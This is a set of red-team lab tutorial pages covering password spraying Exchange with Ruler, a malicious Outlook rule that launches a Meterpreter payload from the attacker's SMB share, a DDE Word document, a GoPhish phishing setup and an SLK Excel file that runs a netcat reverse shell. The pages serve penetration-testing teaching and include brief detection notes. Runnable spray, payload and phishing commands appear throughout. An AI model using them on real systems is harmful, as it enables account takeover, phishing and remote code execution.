[](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell#defininitions) Defininitions ---------------------------------------------------------------------------------------------------------------------------------------------- **Password spraying** is a form of password brute-forcing attack. In password spraying, an attacker (with the help of a tool) cycles through a list of possible usernames (found using OSINT techniques against a target company or other means) with a couple of most commonly used weak passwords. In comparison, a traditional brute-force works by selecting a username from the list and trying all the passwords in the wordlist against that username. Once all passwords are exhausted for that user name, another username is chosen from the list and the process repeats. Password spraying could be illustrated with the following table: User Password john Winter2018 ben Winter2018 ... Winter2018 john December2018! ben December2018! ... December2018! Standard password brute-forcing could be illustrated with the following table: User Password john Winter2018 john Winter2018! john Password1 ben Winter2018 ben Winter2018! ben Password1 [](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell#password-spraying) Password Spraying ------------------------------------------------------------------------------------------------------------------------------------------------------ Let's try doing a password spray against an Exchange 2016 server in a `offense.local` domain: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUQ_tLJSm1kRO5aFAEb%252F-LUQbF2eFnRlmYfzKPIr%252FScreenshot%2520from%25202018-12-23%252015-09-03.png%3Falt%3Dmedia%26token%3D457584d2-5f4a-461a-b8b5-0f35cf7edd5e&width=768&dpr=3&quality=100&sign=5bf0ec49&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUQ_tLJSm1kRO5aFAEb%252F-LUQatQI303trBw4PVRf%252FPeek%25202018-12-23%252015-07.gif%3Falt%3Dmedia%26token%3Dca4ceb81-3b03-4c3d-8375-161b4f37f677&width=768&dpr=3&quality=100&sign=a6d5299c&sv=2) The above shows that password spray was successful against the user `spotless` who used a weak password `123456`. Note, that if you are attempting to replicate this technique in your own labs, you may need to update your `/etc/hosts` to point to your Exchange server: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUQ_tLJSm1kRO5aFAEb%252F-LUQb2mdI-ZJxmL9hzHu%252FScreenshot%2520from%25202018-12-23%252015-08-18.png%3Falt%3Dmedia%26token%3D0cc9ddb7-5527-453c-97c0-068e38e1571b&width=768&dpr=3&quality=100&sign=6bf6bf3e&sv=2) [](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell#getting-a-shell-via-malicious-email-rule) Getting a Shell via Malicious Email Rule ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell#process-overview) Process Overview If the password spray against an Exchange server was successful and you have obtained valid credentials, you can now leverage `Ruler` to create a malicious email rule to that will gain you remote code execution on the host that checks that compromised mailbox. A high level overwiew of how the spraying and remote code execution works: * assume you have obtained working credentials during the spray for the user `spotless@offense.local` * with the help of `Ruler`, a malicious mail rule is created for the compromised account which in our case is `spotless@offense.local`. The rule created will conform to the format along the lines of: `if emailSubject contains` `**someTriggerWord**``_start_``**pathToSomeProgram**` * A new email with subject containing `someTriggerWord` is sent to the `spotless@offense.local` * User `spotless` logs on to his/her workstation and launches Outlook client to check for new email * Malicious email comes in and the malicious mail rule is triggered, which in turn starts the program specified in `pathToSomeProgram` which is pointing to a malicious payload giving a reverse shell to the attacker ### [](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell#execution) Execution Let's validate the compromised credentials are working by checking if there are any email rules created already: The below suggests the credentials are working and that no mail rules are set for this account yet: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUR2wsomB8UFKGWjOZE%252F-LUR3CIwBLFFACpQ4Pj0%252FScreenshot%2520from%25202018-12-23%252017-15-36.png%3Falt%3Dmedia%26token%3Dc912810f-dd47-424f-94ef-22ca8055737f&width=768&dpr=3&quality=100&sign=2f9c78e3&sv=2) To carry out the attack further, I've generated a reverse meterpreter payload and saved it as a windows executable in `/root/tools/evilm64.exe` We now need to create an SMB share that is accessible to our victim host and point it to the location where our payload evilm64.exe is located: Next, we setup a metasploit listener to catch the incoming reverse shell: Finally, we fire up the ruler and create the malicious email rule: Below shows the entire attack and all of the steps mentioned above in action - note how the compromised mailbox does not even get to see the malicious email coming in: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LUR2wsomB8UFKGWjOZE%252F-LURGdBJOizPQ7ob8aqa%252FPeek%25202018-12-23%252018-13.gif%3Falt%3Dmedia%26token%3D45c17a35-1f10-48f4-9db2-d79fdf39320b&width=768&dpr=3&quality=100&sign=9a1a6332&sv=2) Below shows the actual malicious rule that got created as part of the attack - note the `subject` and the `start` properties - we specified them in the ruler command: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LURHGwuzxqib3fPivvC%252F-LURHJJtSG3P8p5Fa8F1%252FScreenshot%2520from%25202018-12-23%252018-17-10.png%3Falt%3Dmedia%26token%3Dac5d5bc2-36bb-41b8-ac7a-e69b352236d3&width=768&dpr=3&quality=100&sign=8bd1090c&sv=2) If you want to delete the malicious email rule, do this: [](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell#detection-and-mitigation) Detection & Mitigation ------------------------------------------------------------------------------------------------------------------------------------------------------------------ [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fwww.microsoft.com%2Fen-us%2Fmicrosoft-365%2Fblog%2Fwp-content%2Fuploads%2Fsites%2F2%2F2018%2F03%2Fcropped-microsoft-favicon-new-192x192.png&width=20&dpr=3&quality=100&sign=1e9f2530&sv=2)Azure AD and ADFS best practices: Defending against password spray attacks | Microsoft 365 BlogMicrosoft 365 Blog](https://www.microsoft.com/en-us/microsoft-365/blog/2018/03/05/azure-ad-and-adfs-best-practices-defending-against-password-spray-attacks/) [](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell#references) References ---------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=edc46b53&sv=2)HomeGitHub](https://github.com/sensepost/ruler/wiki) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fwww.netspi.com%2Fwp-content%2Fuploads%2F2024%2F03%2Ffavicon.png&width=20&dpr=3&quality=100&sign=85fc5e37&sv=2)Malicious Outlook RulesNetSPI](https://silentbreaksecurity.com/malicious-outlook-rules/) [https://labs.mwrinfosecurity.com/blog/malicous-outlook-rules/labs.mwrinfosecurity.com](https://labs.mwrinfosecurity.com/blog/malicous-outlook-rules/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fwww.blackhillsinfosec.com%2Fapple-touch-icon.png&width=20&dpr=3&quality=100&sign=e675a72&sv=2)Introducing MailSniper: A Tool For Searching Every User’s Email for Sensitive Data - Black Hills Information Security, Inc.Black Hills Information Security, Inc.](https://www.blackhillsinfosec.com/introducing-mailsniper-a-tool-for-searching-every-users-email-for-sensitive-data/) [PreviousInitial Access](https://www.ired.team/offensive-security/initial-access) [NextPhishing with MS Office](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office) Last updated 7 years ago * [Context](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell#context) * [Defininitions](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell#defininitions) * [Password Spraying](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell#password-spraying) * [Getting a Shell via Malicious Email Rule](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell#getting-a-shell-via-malicious-email-rule) * [Process Overview](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell#process-overview) * [Execution](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell#execution) * [Detection & Mitigation](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell#detection-and-mitigation) * [References](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell#references) attacker@kali Copy ruler -k --domain offense.local brute --users users --passwords passwords --verbose attacker@kali Copy ruler -k --verbose --email spotless@offense.local -u spotless -p 123456 display attacker@kali Copy smbserver.py tools /root/tools/ attacker@kali Copy use exploit/multi/handler set lhost 10.0.0.5 set lport 443 exploit attacker@kali Copy ruler -k --verbose --email spotless@offense.local --username spotless -p 123456 add --location '\\10.0.0.5\tools\\evilm64.exe' --trigger "popashell" --name maliciousrule --send --subject popashell attacker@kali Copy ruler -k --verbose --email spotless@offense.local --username spotless -p 123456 delete --name maliciousrule --- # T1173: Phishing - DDE | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1173-dde.md) . [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1173-dde#weaponization) Weaponization ------------------------------------------------------------------------------------------------------------------------------ Open a new MS Word Document and insert a field: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHOE_i0b6v23TEMANbO%252F-LHONn4sUHx2Suv5E266%252Fdde-insert-field.png%3Falt%3Dmedia%26token%3D07e0d180-6742-4dcd-b6d5-b5deb50b8534&width=768&dpr=3&quality=100&sign=7479c870&sv=2) It will add an `!Unexpected End of Formula`to the document, that is expected. Right click it > Toggle Field Codes: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHOE_i0b6v23TEMANbO%252F-LHOO4Xm5CphWj5z09pB%252Fdde-toggle-code.png%3Falt%3Dmedia%26token%3Dd3623a52-0672-4531-b402-df813dfb8d20&width=768&dpr=3&quality=100&sign=cb844d9e&sv=2) Toggle Field Codes will give this: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHOOqJmxHEvvd2s7Kwm%252F-LHOPdXAsp4R8fqhGvz0%252Fdde-merge.png%3Falt%3Dmedia%26token%3D397886e7-ad70-41cf-bdc6-1c7d904075a0&width=768&dpr=3&quality=100&sign=2953f89f&sv=2) Replace `= \* MERGEFORMAT` with payload and save the doc: to get this: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHOQ4nQxNAkq2fbDqrg%252F-LHOQ2-XyUnyZxzuue6a%252Fdde-payload.png%3Falt%3Dmedia%26token%3D98ce5478-a810-483c-87bc-e7dbc1f9a67e&width=768&dpr=3&quality=100&sign=929b245a&sv=2) 12KB [evil.docx](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LHOR4pIO_dus8Hvr-qA%2F-LHOS0FpbTiWcXoHFoN9%2Fevil.docx?alt=media&token=0cbd0090-518e-450c-acb3-8c22ff61d044) Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LHOR4pIO_dus8Hvr-qA%2F-LHOS0FpbTiWcXoHFoN9%2Fevil.docx?alt=media&token=0cbd0090-518e-450c-acb3-8c22ff61d044) DDE: evil.docx [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1173-dde#execution) Execution ---------------------------------------------------------------------------------------------------------------------- Once the victim launches the evil .docx by and accepts 2 prompts, the reverse shell (or in this case a calc.exe) pops: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHOQ4nQxNAkq2fbDqrg%252F-LHOQGWzxYlJXcO59-2m%252Fdde-prompt1.png%3Falt%3Dmedia%26token%3Deb3fcc72-8b5a-4139-a2c6-a754f06f62fe&width=768&dpr=3&quality=100&sign=db207575&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHOQ4nQxNAkq2fbDqrg%252F-LHOQLd4T-8u52iy4yME%252Fdde-prompt2.png%3Falt%3Dmedia%26token%3D6f98e157-def8-4b30-82ec-e89de7007fa8&width=768&dpr=3&quality=100&sign=ce68331c&sv=2) [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1173-dde#observations) Observations ---------------------------------------------------------------------------------------------------------------------------- ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHOQXg2G8n_pXupNelj%252F-LHOQ_KHcZpwsFfQuVOj%252Fdde-procexp.png%3Falt%3Dmedia%26token%3Da0f6d8ee-1960-4131-be69-a60e3c1aa69d&width=768&dpr=3&quality=100&sign=cafc6945&sv=2) Sysmon logs can help spot suspicious processes and/or network connections being initiated by Office applications: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LHOT8yeX-5_Re-GBtR5%252F-LHOT6Wce0wc24FsMBRb%252Fdde-sysmon.png%3Falt%3Dmedia%26token%3D54253be4-71bf-4c48-9639-8bb64569dead&width=768&dpr=3&quality=100&sign=2e2734e6&sv=2) 3rd and 4th columns respectively: PID and PPID [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1173-dde#inspection) Inspection ------------------------------------------------------------------------------------------------------------------------ How can we inspect .docx (same for .xlsx) files? Since they are essentially .zip archives, we can rename the .docx file to .zip and simply unzip the archive for further inspection. The file we are interested in is the `document.xml` (trimmed for brevity below). Note how line 4 allows us inspecting the DDE payload in plain text: [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1173-dde#references) References ------------------------------------------------------------------------------------------------------------------------ [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fattack.mitre.org%2Ftheme%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=ef708327&sv=2)Inter-Process Communication: Dynamic Data Exchange, Sub-technique T1559.002 - Enterprise | MITRE ATT&CK®attack.mitre.org](https://attack.mitre.org/wiki/Technique/T1173) [PreviousPhishing: XLM / Macro 4.0](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-xlm-macro-4.0) [NextT1137: Phishing - Office Macros](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1137-office-vba-macros) Last updated 7 years ago * [Weaponization](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1173-dde#weaponization) * [Execution](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1173-dde#execution) * [Observations](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1173-dde#observations) * [Inspection](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1173-dde#inspection) * [References](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/t1173-dde#references) Copy DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" document.xml Copy <...snip...> DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" <...snip...> --- # Phishing with GoPhish and DigitalOcean | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/initial-access/phishing-with-gophish-and-digitalocean.md) . This lab is dedicated to exploring one of the phishing frameworks GoPhish. I will be installing and configuring GoPhish on a DigitalOcean VPS running Ubuntu Linux distribution. [](https://www.ired.team/offensive-security/initial-access/phishing-with-gophish-and-digitalocean#configuring-environment) Configuring Environment ------------------------------------------------------------------------------------------------------------------------------------------------------- ### [](https://www.ired.team/offensive-security/initial-access/phishing-with-gophish-and-digitalocean#digitalocean-vps) DigitalOcean VPS The dropled that I have created got assigned an IP address `68.183.113.176` Let's login to the VPS and install the mail delivery agent: attacker@kali Copy ssh root@68.183.113.176 apt-get install postfix ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVoQC4imLeTkkR3ODWT%252F-LVoS_OcY-ohW-hUdMGy%252FScreenshot%2520from%25202019-01-09%252021-12-51.png%3Falt%3Dmedia%26token%3D76741890-668e-4ff8-ba5d-077de8419ad9&width=768&dpr=3&quality=100&sign=68b49fbf&sv=2) Point `mynetworks` variable in postfix config to the IP we got assigned in DigitalOcean: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVjb_jgJ3XJ0Y4PvbAX%252F-LVjhJgshVbLYvKNUWvs%252FScreenshot%2520from%25202019-01-08%252022-37-41.png%3Falt%3Dmedia%26token%3Dee72b7e9-52e7-4c3f-bf53-0c6d97b16c57&width=768&dpr=3&quality=100&sign=2a00f9ac&sv=2) ### [](https://www.ired.team/offensive-security/initial-access/phishing-with-gophish-and-digitalocean#configure-dns-zones) Configure DNS Zones Create an `A` record `mail` that points to the VPS IP and an `MX` record that points to `mail.yourdomain`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVjb_jgJ3XJ0Y4PvbAX%252F-LVjh1v1ZZiqHRqukbtM%252FScreenshot%2520from%25202019-01-08%252022-56-12.png%3Falt%3Dmedia%26token%3D6c9ea02b-8064-4c01-8670-df1e7736d182&width=768&dpr=3&quality=100&sign=32499555&sv=2) ### [](https://www.ired.team/offensive-security/initial-access/phishing-with-gophish-and-digitalocean#install-gophish) Install GoPhish ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVjb_jgJ3XJ0Y4PvbAX%252F-LVjhGWqEbjavf_0m4I1%252FScreenshot%2520from%25202019-01-08%252022-40-21.png%3Falt%3Dmedia%26token%3D27ce8c7b-84d9-47ac-b410-4e47491b5aae&width=768&dpr=3&quality=100&sign=23ae044c&sv=2) [](https://www.ired.team/offensive-security/initial-access/phishing-with-gophish-and-digitalocean#execution) Execution --------------------------------------------------------------------------------------------------------------------------- Launching GoPhish is simple: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVjb_jgJ3XJ0Y4PvbAX%252F-LVjhF48ilLNAa6Xp4Ah%252FScreenshot%2520from%25202019-01-08%252022-41-09.png%3Falt%3Dmedia%26token%3D3ad21ef2-a7d7-47cc-8284-23df5ee12567&width=768&dpr=3&quality=100&sign=92b5dfb3&sv=2) GoPhish admininistration panel is bound to 127.0.0.1:3333 by default, so we can either modify the config and change it to listen on 0.0.0.0 (all interfaces) if we want to access the admin panel from the Internet or create a local SSH tunnel if we want to restrict access to local network only. Let's do an SSH tunnel: We can now access the GoPhish admin panel via `https://127.0.0.1:3333` from our Kali box. After creating user groups (phish targets), landing pages (phishing pages victims will see if they click on our phishing links), etc, we can create an email template - the email that will be sent to the unsuspecting victims as part of a phishing campaign that we will create in the next step: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVjb_jgJ3XJ0Y4PvbAX%252F-LVjhDD6NGaiOe-gENde%252FScreenshot%2520from%25202019-01-08%252022-45-34.png%3Falt%3Dmedia%26token%3D70df0ca3-8dec-43ce-b12a-80b7bfe62073&width=768&dpr=3&quality=100&sign=4c8f7784&sv=2) Below is a quick demo of how a new campaign is put together once all the other pieces mentioned above are in place (users, templates, landing pages): ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVjb_jgJ3XJ0Y4PvbAX%252F-LVjhAvK5i_NB8AkT2WN%252FPeek%25202019-01-08%252022-47.gif%3Falt%3Dmedia%26token%3D606411e8-6e21-475c-aa9c-55a94210cbdd&width=768&dpr=3&quality=100&sign=20183899&sv=2) [](https://www.ired.team/offensive-security/initial-access/phishing-with-gophish-and-digitalocean#receiving-the-phish) Receiving the Phish ----------------------------------------------------------------------------------------------------------------------------------------------- Below is the actual end result of our mock phish campaign: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVjb_jgJ3XJ0Y4PvbAX%252F-LVjh5tpohiTzCTxvPI5%252FScreenshot%2520from%25202019-01-08%252022-50-47.png%3Falt%3Dmedia%26token%3D718d8682-91b8-456d-b951-a1f0ae9ea4ff&width=768&dpr=3&quality=100&sign=59956249&sv=2) The URL found in the above phish email takes the user to our mock phishing page: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVjb_jgJ3XJ0Y4PvbAX%252F-LVjh3rv8BVL-OaPUcZr%252FScreenshot%2520from%25202019-01-08%252022-51-21.png%3Falt%3Dmedia%26token%3Df71ce484-d9b3-4644-940a-7643d6e21dd6&width=768&dpr=3&quality=100&sign=36ea095&sv=2) [](https://www.ired.team/offensive-security/initial-access/phishing-with-gophish-and-digitalocean#campaign-results) Campaign Results ----------------------------------------------------------------------------------------------------------------------------------------- Switching to `Campaigns` section of the admin panel, we can see how many emails were sent as part of the campaign, how many of them were opened and how many times the phishing URL was clicked: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVjj9cH8EEv_ZKQTtXx%252F-LVjjCGda2tGS6R2SWbo%252FScreenshot%2520from%25202019-01-08%252023-11-32.png%3Falt%3Dmedia%26token%3D359dc4a1-200b-4698-9a1c-5b6f65b854b6&width=768&dpr=3&quality=100&sign=a747c1fc&sv=2) [](https://www.ired.team/offensive-security/initial-access/phishing-with-gophish-and-digitalocean#references) References ----------------------------------------------------------------------------------------------------------------------------- [![Logo](https://docs.getgophish.com/user-guide/~gitbook/image?url=https%3A%2F%2F732773220-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fspaces%252F-LDT_qt7WICxCmlM75gA%252Favatar.png%3Fgeneration%3D1537739954472699%26alt%3Dmedia&width=48&height=48&sign=3be1c433&sv=2)Creating the Template | Gophish User Guidedocs.getgophish.com](https://docs.getgophish.com/user-guide/building-your-first-campaign/creating-the-template) [Postfix Basic Configurationwww.postfix.org](http://www.postfix.org/BASIC_CONFIGURATION_README.html) [PreviousPhishing: Embedded HTML Forms](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-embedded-html-forms) [NextForced Authentication](https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication) Last updated 7 years ago * [Configuring Environment](https://www.ired.team/offensive-security/initial-access/phishing-with-gophish-and-digitalocean#configuring-environment) * [DigitalOcean VPS](https://www.ired.team/offensive-security/initial-access/phishing-with-gophish-and-digitalocean#digitalocean-vps) * [Configure DNS Zones](https://www.ired.team/offensive-security/initial-access/phishing-with-gophish-and-digitalocean#configure-dns-zones) * [Install GoPhish](https://www.ired.team/offensive-security/initial-access/phishing-with-gophish-and-digitalocean#install-gophish) * [Execution](https://www.ired.team/offensive-security/initial-access/phishing-with-gophish-and-digitalocean#execution) * [Receiving the Phish](https://www.ired.team/offensive-security/initial-access/phishing-with-gophish-and-digitalocean#receiving-the-phish) * [Campaign Results](https://www.ired.team/offensive-security/initial-access/phishing-with-gophish-and-digitalocean#campaign-results) * [References](https://www.ired.team/offensive-security/initial-access/phishing-with-gophish-and-digitalocean#references) attacker@vps Copy nano /etc/postfix/main.cf attacker@vps Copy wget https://github.com/gophish/gophish/releases/download/0.7.1/gophish-v0.7.1-linux-64bit.zip apt install unzip unzip gophish-v0.7.1-linux-64bit.zip chmod +x gophish attacker@vps Copy ./gophish attacker@kali Copy ssh root@68.183.113.176 -L3333:localhost:3333 -N -f --- # Phishing: .SLK Excel | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-.slk-excel.md) . This lab is based on findings by [@StanHacked](https://twitter.com/StanHacked) - see below references for more info. [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-.slk-excel#weaponization) Weaponization ---------------------------------------------------------------------------------------------------------------------------------------- Create an new text file, put the the below code and save it as .slk file: demo.slk Copy ID;P O;E NN;NAuto_open;ER101C1;KOut Flank;F C;X1;Y101;K0;EEXEC("c:\shell.cmd") C;X1;Y102;K0;EHALT() E ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LOJRIRc4AJ67oriI2KQ%252F-LOJSgqp-qR_GZX4P9jG%252Fslk-text.png%3Falt%3Dmedia%26token%3D70255e9a-9a11-4101-a1df-5f3059624815&width=768&dpr=3&quality=100&sign=5c562655&sv=2) Note that the shell.cmd refers to a simple nc reverse shell batch file: [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-.slk-excel#execution) Execution -------------------------------------------------------------------------------------------------------------------------------- Once the macro warning is dismissed, the reverse shell pops as expected: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LOJRIRc4AJ67oriI2KQ%252F-LOJSz28-nIUjeIJAv-h%252Fslk-shell.gif%3Falt%3Dmedia%26token%3Da3aa5596-f313-46ca-991b-b5e26846a223&width=768&dpr=3&quality=100&sign=8d52c82d&sv=2) Since the file is actually a plain text file, detecting/triaging malicious intents are made easier. [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-.slk-excel#bonus) Bonus ------------------------------------------------------------------------------------------------------------------------ Note that the payload file could be saved as a .csv - note the additional warning though: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LOJV2oLk8wWrH2w7LnA%252F-LOJUyhhL0XRD-eeip9M%252Fslk-csv.png%3Falt%3Dmedia%26token%3D13cd29c6-08de-44c3-8457-2425b6f2f339&width=768&dpr=3&quality=100&sign=5a33cb65&sv=2) [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-.slk-excel#references) References ---------------------------------------------------------------------------------------------------------------------------------- [http://www.irongeek.com/i.php?page=videos/derbycon8/track-3-18-the-ms-office-magic-show-stan-hegt-pieter-ceelen](http://www.irongeek.com/i.php?page=videos/derbycon8/track-3-18-the-ms-office-magic-show-stan-hegt-pieter-ceelen) [PreviousPhishing: Embedded Internet Explorer](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-embedded-internet-explorer) [NextPhishing: Replacing Embedded Video with Bogus 